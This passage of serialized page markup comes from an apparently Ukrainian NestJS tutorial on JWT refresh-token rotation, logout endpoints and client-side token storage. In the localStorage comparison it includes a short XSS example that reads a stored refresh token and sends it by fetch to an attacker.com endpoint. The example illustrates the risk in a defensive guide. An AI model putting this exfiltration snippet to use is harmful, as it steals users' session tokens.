refresh",[5274,12997,5315],{"class":5295},[5274,12999,13000,13002,13004,13006,13008,13010,13012],{"class":5276,"line":5368},[5274,13001,8923],{"class":5295},[5274,13003,12527],{"class":5311},[5274,13005,9363],{"class":5295},[5274,13007,12532],{"class":5305},[5274,13009,5595],{"class":5295},[5274,13011,12338],{"class":5305},[5274,13013,5443],{"class":5295},[5274,13015,13016,13018,13020,13022,13024,13026,13028,13030,13032,13034],{"class":5276,"line":5470},[5274,13017,8923],{"class":5295},[5274,13019,12502],{"class":5311},[5274,13021,5459],{"class":5295},[5274,13023,12507],{"class":5305},[5274,13025,7599],{"class":5287},[5274,13027,12512],{"class":5295},[5274,13029,7808],{"class":5305},[5274,13031,5595],{"class":5295},[5274,13033,12333],{"class":5305},[5274,13035,5443],{"class":5295},[5274,13037,13038],{"class":5276,"line":5644},[5274,13039,5600],{"class":5295},[5274,13041,13042],{"class":5276,"line":5650},[5274,13043,13044],{"class":5280},"  \u002F\u002F Витягування Refresh Token з HttpOnly Cookie\n",[5274,13046,13047,13049,13051,13053,13055,13057,13060,13062,13064],{"class":5276,"line":5674},[5274,13048,5728],{"class":5287},[5274,13050,11320],{"class":5291},[5274,13052,5296],{"class":5295},[5274,13054,12532],{"class":5305},[5274,13056,5302],{"class":5295},[5274,13058,13059],{"class":5305},"cookies",[5274,13061,7894],{"class":5295},[5274,13063,12661],{"class":5305},[5274,13065,5852],{"class":5295},[5274,13067,13068],{"class":5276,"line":5680},[5274,13069,5577],{"emptyLinePlaceholder":5576},[5274,13071,13072,13074,13076,13078],{"class":5276,"line":5685},[5274,13073,5606],{"class":5605},[5274,13075,5805],{"class":5295},[5274,13077,11264],{"class":5305},[5274,13079,5600],{"class":5295},[5274,13081,13082,13084,13086,13088,13090,13093],{"class":5276,"line":5691},[5274,13083,5628],{"class":5605},[5274,13085,5631],{"class":5287},[5274,13087,5634],{"class":5311},[5274,13089,5414],{"class":5295},[5274,13091,13092],{"class":5358},"'Refresh token not found'",[5274,13094,5371],{"class":5295},[5274,13096,13097],{"class":5276,"line":5855},[5274,13098,5647],{"class":5295},[5274,13100,13101],{"class":5276,"line":5860},[5274,13102,5577],{"emptyLinePlaceholder":5576},[5274,13104,13105],{"class":5276,"line":5865},[5274,13106,13107],{"class":5280},"  \u002F\u002F Оновлення токенів з rotation\n",[5274,13109,13110,13112,13114,13116,13118,13120,13122,13124,13126,13129],{"class":5276,"line":6032},[5274,13111,5728],{"class":5287},[5274,13113,12555],{"class":5291},[5274,13115,5296],{"class":5295},[5274,13117,5770],{"class":5605},[5274,13119,5656],{"class":5287},[5274,13121,5302],{"class":5295},[5274,13123,12566],{"class":5305},[5274,13125,5302],{"class":5295},[5274,13127,13128],{"class":5311},"refreshTokens",[5274,13130,5315],{"class":5295},[5274,13132,13133,13136],{"class":5276,"line":6038},[5274,13134,13135],{"class":5305},"    oldRefreshToken",[5274,13137,5443],{"class":5295},[5274,13139,13140,13143,13145,13147],{"class":5276,"line":6044},[5274,13141,13142],{"class":5305},"    request",[5274,13144,5302],{"class":5295},[5274,13146,12605],{"class":5305},[5274,13148,5443],{"class":5295},[5274,13150,13151],{"class":5276,"line":6050},[5274,13152,13153],{"class":5295},"  );\n",[5274,13155,13156],{"class":5276,"line":6947},[5274,13157,5577],{"emptyLinePlaceholder":5576},[5274,13159,13160],{"class":5276,"line":6953},[5274,13161,13162],{"class":5280},"  \u002F\u002F Встановлення нового Refresh Token у Cookie\n",[5274,13164,13165,13168,13170,13172,13174,13176,13178,13180,13182,13184],{"class":5276,"line":6959},[5274,13166,13167],{"class":5305},"  response",[5274,13169,5302],{"class":5295},[5274,13171,12646],{"class":5311},[5274,13173,5414],{"class":5295},[5274,13175,12651],{"class":5358},[5274,13177,5129],{"class":5295},[5274,13179,12656],{"class":5305},[5274,13181,5302],{"class":5295},[5274,13183,12661],{"class":5305},[5274,13185,5432],{"class":5295},[5274,13187,13188,13191,13193],{"class":5276,"line":6965},[5274,13189,13190],{"class":5305},"    httpOnly:",[5274,13192,7599],{"class":5287},[5274,13194,5443],{"class":5295},[5274,13196,13197,13200,13202],{"class":5276,"line":6971},[5274,13198,13199],{"class":5305},"    secure:",[5274,13201,7599],{"class":5287},[5274,13203,5443],{"class":5295},[5274,13205,13206,13209,13211],{"class":5276,"line":6977},[5274,13207,13208],{"class":5305},"    sameSite:",[5274,13210,12697],{"class":5358},[5274,13212,5443],{"class":5295},[5274,13214,13215,13218,13220,13222,13224,13226,13228,13230,13232,13234,13236],{"class":5276,"line":6983},[5274,13216,13217],{"class":5305},"    maxAge:",[5274,13219,12711],{"class":6196},[5274,13221,6405],{"class":5295},[5274,13223,6408],{"class":6196},[5274,13225,6405],{"class":5295},[5274,13227,6413],{"class":6196},[5274,13229,6405],{"class":5295},[5274,13231,6413],{"class":6196},[5274,13233,6405],{"class":5295},[5274,13235,6422],{"class":6196},[5274,13237,5443],{"class":5295},[5274,13239,13240,13243,13245],{"class":5276,"line":6989},[5274,13241,13242],{"class":5305},"    path:",[5274,13244,12740],{"class":5358},[5274,13246,5443],{"class":5295},[5274,13248,13249],{"class":5276,"line":7514},[5274,13250,10319],{"class":5295},[5274,13252,13253],{"class":5276,"line":7520},[5274,13254,5577],{"emptyLinePlaceholder":5576},[5274,13256,13257,13259],{"class":5276,"line":7526},[5274,13258,5653],{"class":5605},[5274,13260,7239],{"class":5295},[5274,13262,13263,13266,13268,13270,13272],{"class":5276,"line":7919},[5274,13264,13265],{"class":5305},"    statusCode:",[5274,13267,12767],{"class":5305},[5274,13269,5302],{"class":5295},[5274,13271,12466],{"class":5291},[5274,13273,5443],{"class":5295},[5274,13275,13276,13279,13282],{"class":5276,"line":7932},[5274,13277,13278],{"class":5305},"    message:",[5274,13280,13281],{"class":5358}," 'Tokens refreshed successfully'",[5274,13283,5443],{"class":5295},[5274,13285,13286,13289],{"class":5276,"line":7938},[5274,13287,13288],{"class":5305},"    data:",[5274,13290,7239],{"class":5295},[5274,13292,13293,13295,13297,13299,13301],{"class":5276,"line":7960},[5274,13294,11801],{"class":5305},[5274,13296,12555],{"class":5305},[5274,13298,5302],{"class":5295},[5274,13300,8184],{"class":5305},[5274,13302,5443],{"class":5295},[5274,13304,13305,13307,13309],{"class":5276,"line":7980},[5274,13306,11042],{"class":5305},[5274,13308,12811],{"class":5358},[5274,13310,5443],{"class":5295},[5274,13312,13313,13315,13317,13319,13321],{"class":5276,"line":8013},[5274,13314,11057],{"class":5305},[5274,13316,12555],{"class":5305},[5274,13318,5302],{"class":5295},[5274,13320,9564],{"class":5305},[5274,13322,5443],{"class":5295},[5274,13324,13325],{"class":5276,"line":8029},[5274,13326,13327],{"class":5295},"    },\n",[5274,13329,13330],{"class":5276,"line":8035},[5274,13331,7283],{"class":5295},[5274,13333,13334],{"class":5276,"line":8041},[5274,13335,5677],{"class":5295},[5257,13337,13339],{"id":13338},"ендпоінт-post-authlogout","Ендпоінт POST \u002Fauth\u002Flogout",[5265,13341,13343],{"className":5267,"code":13342,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fauth.controller.ts\n@Post('logout')\n@HttpCode(HttpStatus.OK)\n@UseGuards(JwtAuthGuard)\nasync logout(\n  @Req() request: Request,\n  @Res({ passthrough: true }) response: Response,\n  @CurrentUser() user: UserPayload,\n) {\n  const refreshToken = request.cookies?.refreshToken;\n\n  if (refreshToken) {\n    \u002F\u002F Видалення Refresh Token з БД\n    await this.authService.revokeRefreshToken(refreshToken);\n  }\n\n  \u002F\u002F Видалення Cookie\n  response.clearCookie('refreshToken', {\n    httpOnly: true,\n    secure: true,\n    sameSite: 'strict',\n    path: '\u002Fauth\u002Frefresh',\n  });\n\n  return {\n    statusCode: HttpStatus.OK,\n    message: 'Logout successful',\n  };\n}\n",[5122,13344,13345,13349,13362,13378,13392,13401,13417,13439,13457,13461,13481,13485,13495,13500,13521,13525,13529,13534,13549,13557,13565,13573,13581,13585,13589,13595,13607,13616,13620],{"__ignoreMap":5270},[5274,13346,13347],{"class":5276,"line":5277},[5274,13348,12259],{"class":5280},[5274,13350,13351,13353,13355,13357,13360],{"class":5276,"line":5284},[5274,13352,8895],{"class":5295},[5274,13354,12442],{"class":5311},[5274,13356,5414],{"class":5295},[5274,13358,13359],{"class":5358},"'logout'",[5274,13361,8906],{"class":5295},[5274,13363,13364,13366,13368,13370,13372,13374,13376],{"class":5276,"line":5318},[5274,13365,8895],{"class":5295},[5274,13367,12456],{"class":5311},[5274,13369,5414],{"class":5295},[5274,13371,12461],{"class":5305},[5274,13373,5302],{"class":5295},[5274,13375,12466],{"class":5291},[5274,13377,8906],{"class":5295},[5274,13379,13380,13382,13385,13387,13390],{"class":5276,"line":5350},[5274,13381,8895],{"class":5295},[5274,13383,13384],{"class":5311},"UseGuards",[5274,13386,5414],{"class":5295},[5274,13388,13389],{"class":5305},"JwtAuthGuard",[5274,13391,8906],{"class":5295},[5274,13393,13394,13396,13399],{"class":5276,"line":5368},[5274,13395,5582],{"class":5305},[5274,13397,13398],{"class":5311}," logout",[5274,13400,5315],{"class":5295},[5274,13402,13403,13405,13407,13409,13411,13413,13415],{"class":5276,"line":5470},[5274,13404,8923],{"class":5295},[5274,13406,12527],{"class":5311},[5274,13408,9363],{"class":5295},[5274,13410,12532],{"class":5305},[5274,13412,5595],{"class":5295},[5274,13414,12338],{"class":5305},[5274,13416,5443],{"class":5295},[5274,13418,13419,13421,13423,13425,13427,13429,13431,13433,13435,13437],{"class":5276,"line":5644},[5274,13420,8923],{"class":5295},[5274,13422,12502],{"class":5311},[5274,13424,5459],{"class":5295},[5274,13426,12507],{"class":5305},[5274,13428,7599],{"class":5287},[5274,13430,12512],{"class":5295},[5274,13432,7808],{"class":5305},[5274,13434,5595],{"class":5295},[5274,13436,12333],{"class":5305},[5274,13438,5443],{"class":5295},[5274,13440,13441,13443,13446,13448,13450,13452,13455],{"class":5276,"line":5650},[5274,13442,8923],{"class":5295},[5274,13444,13445],{"class":5311},"CurrentUser",[5274,13447,9363],{"class":5295},[5274,13449,5808],{"class":5305},[5274,13451,5595],{"class":5295},[5274,13453,13454],{"class":5305},"UserPayload",[5274,13456,5443],{"class":5295},[5274,13458,13459],{"class":5276,"line":5674},[5274,13460,5600],{"class":5295},[5274,13462,13463,13465,13467,13469,13471,13473,13475,13477,13479],{"class":5276,"line":5680},[5274,13464,5728],{"class":5287},[5274,13466,6314],{"class":5291},[5274,13468,5296],{"class":5295},[5274,13470,12532],{"class":5305},[5274,13472,5302],{"class":5295},[5274,13474,13059],{"class":5305},[5274,13476,7894],{"class":5295},[5274,13478,12661],{"class":5305},[5274,13480,5852],{"class":5295},[5274,13482,13483],{"class":5276,"line":5685},[5274,13484,5577],{"emptyLinePlaceholder":5576},[5274,13486,13487,13489,13491,13493],{"class":5276,"line":5691},[5274,13488,5606],{"class":5605},[5274,13490,5509],{"class":5295},[5274,13492,12661],{"class":5305},[5274,13494,5600],{"class":5295},[5274,13496,13497],{"class":5276,"line":5855},[5274,13498,13499],{"class":5280},"    \u002F\u002F Видалення Refresh Token з БД\n",[5274,13501,13502,13504,13506,13508,13510,13512,13515,13517,13519],{"class":5276,"line":5860},[5274,13503,9542],{"class":5605},[5274,13505,5656],{"class":5287},[5274,13507,5302],{"class":5295},[5274,13509,12566],{"class":5305},[5274,13511,5302],{"class":5295},[5274,13513,13514],{"class":5311},"revokeRefreshToken",[5274,13516,5414],{"class":5295},[5274,13518,12661],{"class":5305},[5274,13520,5371],{"class":5295},[5274,13522,13523],{"class":5276,"line":5865},[5274,13524,5647],{"class":5295},[5274,13526,13527],{"class":5276,"line":6032},[5274,13528,5577],{"emptyLinePlaceholder":5576},[5274,13530,13531],{"class":5276,"line":6038},[5274,13532,13533],{"class":5280},"  \u002F\u002F Видалення Cookie\n",[5274,13535,13536,13538,13540,13543,13545,13547],{"class":5276,"line":6044},[5274,13537,13167],{"class":5305},[5274,13539,5302],{"class":5295},[5274,13541,13542],{"class":5311},"clearCookie",[5274,13544,5414],{"class":5295},[5274,13546,12651],{"class":5358},[5274,13548,5432],{"class":5295},[5274,13550,13551,13553,13555],{"class":5276,"line":6050},[5274,13552,13190],{"class":5305},[5274,13554,7599],{"class":5287},[5274,13556,5443],{"class":5295},[5274,13558,13559,13561,13563],{"class":5276,"line":6947},[5274,13560,13199],{"class":5305},[5274,13562,7599],{"class":5287},[5274,13564,5443],{"class":5295},[5274,13566,13567,13569,13571],{"class":5276,"line":6953},[5274,13568,13208],{"class":5305},[5274,13570,12697],{"class":5358},[5274,13572,5443],{"class":5295},[5274,13574,13575,13577,13579],{"class":5276,"line":6959},[5274,13576,13242],{"class":5305},[5274,13578,12740],{"class":5358},[5274,13580,5443],{"class":5295},[5274,13582,13583],{"class":5276,"line":6965},[5274,13584,10319],{"class":5295},[5274,13586,13587],{"class":5276,"line":6971},[5274,13588,5577],{"emptyLinePlaceholder":5576},[5274,13590,13591,13593],{"class":5276,"line":6977},[5274,13592,5653],{"class":5605},[5274,13594,7239],{"class":5295},[5274,13596,13597,13599,13601,13603,13605],{"class":5276,"line":6983},[5274,13598,13265],{"class":5305},[5274,13600,12767],{"class":5305},[5274,13602,5302],{"class":5295},[5274,13604,12466],{"class":5291},[5274,13606,5443],{"class":5295},[5274,13608,13609,13611,13614],{"class":5276,"line":6989},[5274,13610,13278],{"class":5305},[5274,13612,13613],{"class":5358}," 'Logout successful'",[5274,13615,5443],{"class":5295},[5274,13617,13618],{"class":5276,"line":7514},[5274,13619,7283],{"class":5295},[5274,13621,13622],{"class":5276,"line":7520},[5274,13623,5677],{"class":5295},[5089,13625,13626],{},[5099,13627,13628],{},"Додатковий ендпоінт: Вихід з усіх пристроїв",[5265,13630,13632],{"className":5267,"code":13631,"language":5269,"meta":5270,"style":5270},"@Post('logout-all')\n@HttpCode(HttpStatus.OK)\n@UseGuards(JwtAuthGuard)\nasync logoutAll(\n  @CurrentUser() user: UserPayload,\n  @Res({ passthrough: true }) response: Response,\n) {\n  \u002F\u002F Видалення ВСІХ Refresh Tokens користувача\n  await this.authService.revokeAllUserTokens(user.userId);\n\n  \u002F\u002F Видалення поточного Cookie\n  response.clearCookie('refreshToken', {\n    httpOnly: true,\n    secure: true,\n    sameSite: 'strict',\n    path: '\u002Fauth\u002Frefresh',\n  });\n\n  return {\n    statusCode: HttpStatus.OK,\n    message: 'Logged out from all devices successfully',\n  };\n}\n",[5122,13633,13634,13647,13663,13675,13684,13700,13722,13726,13731,13756,13760,13765,13779,13787,13795,13803,13811,13815,13819,13825,13837,13846,13850],{"__ignoreMap":5270},[5274,13635,13636,13638,13640,13642,13645],{"class":5276,"line":5277},[5274,13637,8895],{"class":5295},[5274,13639,12442],{"class":5311},[5274,13641,5414],{"class":5295},[5274,13643,13644],{"class":5358},"'logout-all'",[5274,13646,8906],{"class":5295},[5274,13648,13649,13651,13653,13655,13657,13659,13661],{"class":5276,"line":5284},[5274,13650,8895],{"class":5295},[5274,13652,12456],{"class":5311},[5274,13654,5414],{"class":5295},[5274,13656,12461],{"class":5305},[5274,13658,5302],{"class":5295},[5274,13660,12466],{"class":5291},[5274,13662,8906],{"class":5295},[5274,13664,13665,13667,13669,13671,13673],{"class":5276,"line":5318},[5274,13666,8895],{"class":5295},[5274,13668,13384],{"class":5311},[5274,13670,5414],{"class":5295},[5274,13672,13389],{"class":5305},[5274,13674,8906],{"class":5295},[5274,13676,13677,13679,13682],{"class":5276,"line":5350},[5274,13678,5582],{"class":5305},[5274,13680,13681],{"class":5311}," logoutAll",[5274,13683,5315],{"class":5295},[5274,13685,13686,13688,13690,13692,13694,13696,13698],{"class":5276,"line":5368},[5274,13687,8923],{"class":5295},[5274,13689,13445],{"class":5311},[5274,13691,9363],{"class":5295},[5274,13693,5808],{"class":5305},[5274,13695,5595],{"class":5295},[5274,13697,13454],{"class":5305},[5274,13699,5443],{"class":5295},[5274,13701,13702,13704,13706,13708,13710,13712,13714,13716,13718,13720],{"class":5276,"line":5470},[5274,13703,8923],{"class":5295},[5274,13705,12502],{"class":5311},[5274,13707,5459],{"class":5295},[5274,13709,12507],{"class":5305},[5274,13711,7599],{"class":5287},[5274,13713,12512],{"class":5295},[5274,13715,7808],{"class":5305},[5274,13717,5595],{"class":5295},[5274,13719,12333],{"class":5305},[5274,13721,5443],{"class":5295},[5274,13723,13724],{"class":5276,"line":5644},[5274,13725,5600],{"class":5295},[5274,13727,13728],{"class":5276,"line":5650},[5274,13729,13730],{"class":5280},"  \u002F\u002F Видалення ВСІХ Refresh Tokens користувача\n",[5274,13732,13733,13735,13737,13739,13741,13743,13746,13748,13750,13752,13754],{"class":5276,"line":5674},[5274,13734,10264],{"class":5605},[5274,13736,5656],{"class":5287},[5274,13738,5302],{"class":5295},[5274,13740,12566],{"class":5305},[5274,13742,5302],{"class":5295},[5274,13744,13745],{"class":5311},"revokeAllUserTokens",[5274,13747,5414],{"class":5295},[5274,13749,5808],{"class":5305},[5274,13751,5302],{"class":5295},[5274,13753,5128],{"class":5305},[5274,13755,5371],{"class":5295},[5274,13757,13758],{"class":5276,"line":5680},[5274,13759,5577],{"emptyLinePlaceholder":5576},[5274,13761,13762],{"class":5276,"line":5685},[5274,13763,13764],{"class":5280},"  \u002F\u002F Видалення поточного Cookie\n",[5274,13766,13767,13769,13771,13773,13775,13777],{"class":5276,"line":5691},[5274,13768,13167],{"class":5305},[5274,13770,5302],{"class":5295},[5274,13772,13542],{"class":5311},[5274,13774,5414],{"class":5295},[5274,13776,12651],{"class":5358},[5274,13778,5432],{"class":5295},[5274,13780,13781,13783,13785],{"class":5276,"line":5855},[5274,13782,13190],{"class":5305},[5274,13784,7599],{"class":5287},[5274,13786,5443],{"class":5295},[5274,13788,13789,13791,13793],{"class":5276,"line":5860},[5274,13790,13199],{"class":5305},[5274,13792,7599],{"class":5287},[5274,13794,5443],{"class":5295},[5274,13796,13797,13799,13801],{"class":5276,"line":5865},[5274,13798,13208],{"class":5305},[5274,13800,12697],{"class":5358},[5274,13802,5443],{"class":5295},[5274,13804,13805,13807,13809],{"class":5276,"line":6032},[5274,13806,13242],{"class":5305},[5274,13808,12740],{"class":5358},[5274,13810,5443],{"class":5295},[5274,13812,13813],{"class":5276,"line":6038},[5274,13814,10319],{"class":5295},[5274,13816,13817],{"class":5276,"line":6044},[5274,13818,5577],{"emptyLinePlaceholder":5576},[5274,13820,13821,13823],{"class":5276,"line":6050},[5274,13822,5653],{"class":5605},[5274,13824,7239],{"class":5295},[5274,13826,13827,13829,13831,13833,13835],{"class":5276,"line":6947},[5274,13828,13265],{"class":5305},[5274,13830,12767],{"class":5305},[5274,13832,5302],{"class":5295},[5274,13834,12466],{"class":5291},[5274,13836,5443],{"class":5295},[5274,13838,13839,13841,13844],{"class":5276,"line":6953},[5274,13840,13278],{"class":5305},[5274,13842,13843],{"class":5358}," 'Logged out from all devices successfully'",[5274,13845,5443],{"class":5295},[5274,13847,13848],{"class":5276,"line":6959},[5274,13849,7283],{"class":5295},[5274,13851,13852],{"class":5276,"line":6965},[5274,13853,5677],{"class":5295},[5171,13855],{},[5084,13857,13859],{"id":13858},"безпечне-зберігання-токенів-на-клієнті","Безпечне зберігання токенів на клієнті",[5089,13861,13862],{},"Вибір стратегії зберігання токенів на клієнті є критичним компромісом між безпекою та користувацькою взаємодією. Розглянемо переваги та недоліки різних підходів.",[5257,13864,13866],{"id":13865},"порівняння-варіантів-зберігання","Порівняння варіантів зберігання",[5534,13868,13869,14056,14123,14301],{},[5265,13870,13873],{"className":5267,"code":13871,"filename":13872,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ❌ ВРАЗЛИВИЙ до XSS атак\nlocalStorage.setItem('access_token', accessToken);\nlocalStorage.setItem('refresh_token', refreshToken);\n\n\u002F\u002F Зловмисник може витягти токени через ін'єктований скрипт:\nconst stolen = localStorage.getItem('refresh_token');\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal', {\n  method: 'POST',\n  body: JSON.stringify({ token: stolen }),\n});\n\n\u002F\u002F Використання\nconst token = localStorage.getItem('access_token');\nfetch('\u002Fapi\u002Fusers\u002Fprofile', {\n  headers: { Authorization: `Bearer ${token}` },\n});\n","1. localStorage (❌ НЕ рекомендовано)",[5122,13874,13875,13880,13898,13917,13921,13926,13947,13957,13965,13984,13988,13992,13997,14018,14029,14052],{"__ignoreMap":5270},[5274,13876,13877],{"class":5276,"line":5277},[5274,13878,13879],{"class":5280},"\u002F\u002F ❌ ВРАЗЛИВИЙ до XSS атак\n",[5274,13881,13882,13884,13886,13888,13890,13892,13894,13896],{"class":5276,"line":5284},[5274,13883,5382],{"class":5305},[5274,13885,5302],{"class":5295},[5274,13887,8208],{"class":5311},[5274,13889,5414],{"class":5295},[5274,13891,5417],{"class":5358},[5274,13893,5129],{"class":5295},[5274,13895,8184],{"class":5305},[5274,13897,5371],{"class":5295},[5274,13899,13900,13902,13904,13906,13908,13911,13913,13915],{"class":5276,"line":5318},[5274,13901,5382],{"class":5305},[5274,13903,5302],{"class":5295},[5274,13905,8208],{"class":5311},[5274,13907,5414],{"class":5295},[5274,13909,13910],{"class":5358},"'refresh_token'",[5274,13912,5129],{"class":5295},[5274,13914,12661],{"class":5305},[5274,13916,5371],{"class":5295},[5274,13918,13919],{"class":5276,"line":5350},[5274,13920,5577],{"emptyLinePlaceholder":5576},[5274,13922,13923],{"class":5276,"line":5368},[5274,13924,13925],{"class":5280},"\u002F\u002F Зловмисник може витягти токени через ін'єктований скрипт:\n",[5274,13927,13928,13930,13933,13935,13937,13939,13941,13943,13945],{"class":5276,"line":5470},[5274,13929,5288],{"class":5287},[5274,13931,13932],{"class":5291}," stolen",[5274,13934,5296],{"class":5295},[5274,13936,5382],{"class":5305},[5274,13938,5302],{"class":5295},[5274,13940,5411],{"class":5311},[5274,13942,5414],{"class":5295},[5274,13944,13910],{"class":5358},[5274,13946,5371],{"class":5295},[5274,13948,13949,13951,13953,13955],{"class":5276,"line":5644},[5274,13950,5424],{"class":5311},[5274,13952,5414],{"class":5295},[5274,13954,5429],{"class":5358},[5274,13956,5432],{"class":5295},[5274,13958,13959,13961,13963],{"class":5276,"line":5650},[5274,13960,5437],{"class":5305},[5274,13962,5440],{"class":5358},[5274,13964,5443],{"class":5295},[5274,13966,13967,13969,13971,13973,13975,13977,13979,13981],{"class":5276,"line":5674},[5274,13968,5448],{"class":5305},[5274,13970,5451],{"class":5291},[5274,13972,5302],{"class":5295},[5274,13974,5456],{"class":5311},[5274,13976,5459],{"class":5295},[5274,13978,5462],{"class":5305},[5274,13980,13932],{"class":5305},[5274,13982,13983],{"class":5295}," }),\n",[5274,13985,13986],{"class":5276,"line":5680},[5274,13987,5473],{"class":5295},[5274,13989,13990],{"class":5276,"line":5685},[5274,13991,5577],{"emptyLinePlaceholder":5576},[5274,13993,13994],{"class":5276,"line":5691},[5274,13995,13996],{"class":5280},"\u002F\u002F Використання\n",[5274,13998,13999,14001,14004,14006,14008,14010,14012,14014,14016],{"class":5276,"line":5855},[5274,14000,5288],{"class":5287},[5274,14002,14003],{"class":5291}," token",[5274,14005,5296],{"class":5295},[5274,14007,5382],{"class":5305},[5274,14009,5302],{"class":5295},[5274,14011,5411],{"class":5311},[5274,14013,5414],{"class":5295},[5274,14015,5417],{"class":5358},[5274,14017,5371],{"class":5295},[5274,14019,14020,14022,14024,14027],{"class":5276,"line":5860},[5274,14021,5424],{"class":5311},[5274,14023,5414],{"class":5295},[5274,14025,14026],{"class":5358},"'\u002Fapi\u002Fusers\u002Fprofile'",[5274,14028,5432],{"class":5295},[5274,14030,14031,14034,14036,14039,14042,14044,14046,14048,14050],{"class":5276,"line":5865},[5274,14032,14033],{"class":5305},"  headers:",[5274,14035,6285],{"class":5295},[5274,14037,14038],{"class":5305},"Authorization:",[5274,14040,14041],{"class":5358}," `Bearer ",[5274,14043,8000],{"class":5287},[5274,14045,5132],{"class":5305},[5274,14047,8005],{"class":5287},[5274,14049,8008],{"class":5358},[5274,14051,5347],{"class":5295},[5274,14053,14054],{"class":5276,"line":6032},[5274,14055,5473],{"class":5295},[5265,14057,14060],{"className":5267,"code":14058,"filename":14059,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ⚠️ Також вразливий до XSS, але токен втрачається при закритті вкладки\nsessionStorage.setItem('access_token', accessToken);\n\n\u002F\u002F Переваги:\n\u002F\u002F ✅ Токен автоматично видаляється при закритті вкладки\n\u002F\u002F ✅ Не передається між вкладками\n\n\u002F\u002F Недоліки:\n\u002F\u002F ❌ Вразливий до XSS\n\u002F\u002F ❌ Користувач втрачає сесію при випадковому закритті вкладки\n","2. sessionStorage (⚠️ Обмежено придатний)",[5122,14061,14062,14067,14085,14089,14094,14099,14104,14108,14113,14118],{"__ignoreMap":5270},[5274,14063,14064],{"class":5276,"line":5277},[5274,14065,14066],{"class":5280},"\u002F\u002F ⚠️ Також вразливий до XSS, але токен втрачається при закритті вкладки\n",[5274,14068,14069,14071,14073,14075,14077,14079,14081,14083],{"class":5276,"line":5284},[5274,14070,6095],{"class":5305},[5274,14072,5302],{"class":5295},[5274,14074,8208],{"class":5311},[5274,14076,5414],{"class":5295},[5274,14078,5417],{"class":5358},[5274,14080,5129],{"class":5295},[5274,14082,8184],{"class":5305},[5274,14084,5371],{"class":5295},[5274,14086,14087],{"class":5276,"line":5318},[5274,14088,5577],{"emptyLinePlaceholder":5576},[5274,14090,14091],{"class":5276,"line":5350},[5274,14092,14093],{"class":5280},"\u002F\u002F Переваги:\n",[5274,14095,14096],{"class":5276,"line":5368},[5274,14097,14098],{"class":5280},"\u002F\u002F ✅ Токен автоматично видаляється при закритті вкладки\n",[5274,14100,14101],{"class":5276,"line":5470},[5274,14102,14103],{"class":5280},"\u002F\u002F ✅ Не передається між вкладками\n",[5274,14105,14106],{"class":5276,"line":5644},[5274,14107,5577],{"emptyLinePlaceholder":5576},[5274,14109,14110],{"class":5276,"line":5650},[5274,14111,14112],{"class":5280},"\u002F\u002F Недоліки:\n",[5274,14114,14115],{"class":5276,"line":5674},[5274,14116,14117],{"class":5280},"\u002F\u002F ❌ Вразливий до XSS\n",[5274,14119,14120],{"class":5276,"line":5680},[5274,14121,14122],{"class":5280},"\u002F\u002F ❌ Користувач втрачає сесію при випадковому закритті вкладки\n",[5265,14124,14127],{"className":5267,"code":14125,"filename":14126,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ✅ Встановлюється сервером, недоступний для JavaScript\n\u002F\u002F Сервер встановлює Cookie у відповіді на \u002Fauth\u002Flogin:\nresponse.cookie('refreshToken', token, {\n  httpOnly: true,  \u002F\u002F ❌ JavaScript не може читати\n  secure: true,    \u002F\u002F ✅ Лише через HTTPS\n  sameSite: 'strict',\n});\n\n\u002F\u002F Клієнт НЕ має доступу до токена:\nconsole.log(document.cookie); \u002F\u002F \"refreshToken\" не відображається\n\n\u002F\u002F Браузер автоматично додає Cookie до запитів:\nfetch('\u002Fauth\u002Frefresh', {\n  credentials: 'include', \u002F\u002F Дозволяє надсилання Cookies\n});\n\n\u002F\u002F Переваги:\n\u002F\u002F ✅ Повний захист від XSS (JavaScript не має доступу)\n\u002F\u002F ✅ Автоматичне надсилання браузером\n\n\u002F\u002F Недоліки:\n\u002F\u002F ⚠️ Потребує CORS конфігурації для cross-origin запитів\n\u002F\u002F ⚠️ Складніша реалізація у мобільних застосунках\n","3. HttpOnly Cookie (✅ Найбезпечніший)",[5122,14128,14129,14134,14139,14157,14170,14181,14190,14194,14198,14203,14228,14232,14237,14248,14261,14265,14269,14273,14278,14283,14287,14291,14296],{"__ignoreMap":5270},[5274,14130,14131],{"class":5276,"line":5277},[5274,14132,14133],{"class":5280},"\u002F\u002F ✅ Встановлюється сервером, недоступний для JavaScript\n",[5274,14135,14136],{"class":5276,"line":5284},[5274,14137,14138],{"class":5280},"\u002F\u002F Сервер встановлює Cookie у відповіді на \u002Fauth\u002Flogin:\n",[5274,14140,14141,14143,14145,14147,14149,14151,14153,14155],{"class":5276,"line":5318},[5274,14142,7808],{"class":5305},[5274,14144,5302],{"class":5295},[5274,14146,12646],{"class":5311},[5274,14148,5414],{"class":5295},[5274,14150,12651],{"class":5358},[5274,14152,5129],{"class":5295},[5274,14154,5132],{"class":5305},[5274,14156,5432],{"class":5295},[5274,14158,14159,14162,14164,14167],{"class":5276,"line":5350},[5274,14160,14161],{"class":5305},"  httpOnly:",[5274,14163,7599],{"class":5287},[5274,14165,14166],{"class":5295},",  ",[5274,14168,14169],{"class":5280},"\u002F\u002F ❌ JavaScript не може читати\n",[5274,14171,14172,14175,14177,14179],{"class":5276,"line":5368},[5274,14173,14174],{"class":5305},"  secure:",[5274,14176,7599],{"class":5287},[5274,14178,12700],{"class":5295},[5274,14180,12689],{"class":5280},[5274,14182,14183,14186,14188],{"class":5276,"line":5470},[5274,14184,14185],{"class":5305},"  sameSite:",[5274,14187,12697],{"class":5358},[5274,14189,5443],{"class":5295},[5274,14191,14192],{"class":5276,"line":5644},[5274,14193,5473],{"class":5295},[5274,14195,14196],{"class":5276,"line":5650},[5274,14197,5577],{"emptyLinePlaceholder":5576},[5274,14199,14200],{"class":5276,"line":5674},[5274,14201,14202],{"class":5280},"\u002F\u002F Клієнт НЕ має доступу до токена:\n",[5274,14204,14205,14208,14210,14213,14215,14218,14220,14222,14225],{"class":5276,"line":5680},[5274,14206,14207],{"class":5305},"console",[5274,14209,5302],{"class":5295},[5274,14211,14212],{"class":5311},"log",[5274,14214,5414],{"class":5295},[5274,14216,14217],{"class":5305},"document",[5274,14219,5302],{"class":5295},[5274,14221,12646],{"class":5305},[5274,14223,14224],{"class":5295},"); ",[5274,14226,14227],{"class":5280},"\u002F\u002F \"refreshToken\" не 